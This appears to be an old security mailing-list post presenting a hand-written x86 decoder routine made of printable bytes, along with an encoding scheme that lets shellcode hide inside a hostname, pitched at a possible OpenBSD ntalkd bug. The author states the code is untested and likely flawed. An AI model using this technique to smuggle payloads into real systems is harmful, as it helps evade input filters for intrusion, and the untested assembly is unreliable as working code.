ascii decoder

[Slawek <sgp () TELSATGP COM PL>]

Hi all,



Some time ago somebody said that there's somewhere a code that looks like
it's uuencoded and in fact it's uudecoder .. hmm .. but nobody sent it ;(

Now we can see some "funny" bug in ntalkd on Open BSD .. and nobody knows if
it's exploitable.


Well .. in fact I don't like writing exploits and I'm not going to show an
exploit now.

But I love coding in assemlber :) .. so I'd like to show a shell code that
can be put into hostname .. hostname is limited to 255 chars?


Let's suppose our (attacking) host will have a name like:

{decode routine}{encoded shell code}.somedomain.com

and we have some way to enforce execution of that domain name on a victim ;)


Now there's time for my "decode routine" :)

4c             - dec esp
4c             - dec esp
4c             - dec esp
4c             - dec esp
5a             - pop edx
54             - push esp
59             - pop ecx
54             - push esp
5f             - pop edi
54             - push esp
36 33 39       - xor edi,[ss:ecx]
57             - push edi
58             - pop eax
2d 4c 4c 4c 4c - sub eax,04c4c4c4ch
30 42 31       - xor [edx+031h],al
52             - push edx
59             - pop ecx
decodeloop:
6b 41 32 30    - imul eax,d,[ecx+032h],030h
41             - inc ecx
33 41 32       - xor eax,[ecx+032h]
41             - inc ecx
32 42 32       - xor al,[edx+032h]
30 42 32       - xor [edx+032h],al
42             - inc edx
57             - push edi
58             - pop eax
34 30          - xor al,030h
38 41 32       - cmp [ecx+032h],al
72 53          - jb decodeloop


A few notes to it:
1) I haven't checked if it's working :) - it's _only_ theory :)
2) That "dec esp" can lead to crash if the stack get overwritten .. but I
have no other idea how can I get the address related to routine's place in
the memory ("call" has wrong machine code)
3) It can have some problems related to separate program and data caches
4) It will not work if system works with alignment checking ("imul" will be
the problem)
5) the last byte of decoder (0x53) is modified in the start - we cannot
normally put 0xe7 here
5) the shell code should be encoded and placed right after the decoding
routine
6) shell code is invoked starting from the first byte, with edx pointing 50
bytes before the first byte after end of shell code


The encoding algoritm is easy. Each byte is encoded using two bytes. That's
an example of encoder.

For each byte of shell code:
    A = lower nibble
    if (A = 0) then { B = 5 } else { B = 4 }
    C = higher nibble + B
    D = hightab [C and 0x0f]
    put (D + 0x40)
    put (B*0x10 + A)
put ('.')

hightab[] = { 0x10, 0xb, 0x6, 0x1, 0xc, 0x7, 0x2, 0xd, 0x8, 0x3, 0xe, 0x9,
0x4, 0xf, 0xa, 0x5 }


There can be your domain name just after that ending dot.



Ok, that's it. I'm not sure if it can be used in Open BSD problem with
ntalkd, but probably can be useful in many other situations ;)


Bye,
Slawek


PS. yes - I'm almost sure I've screwed something up - I really didn't run
that code - I just don't have time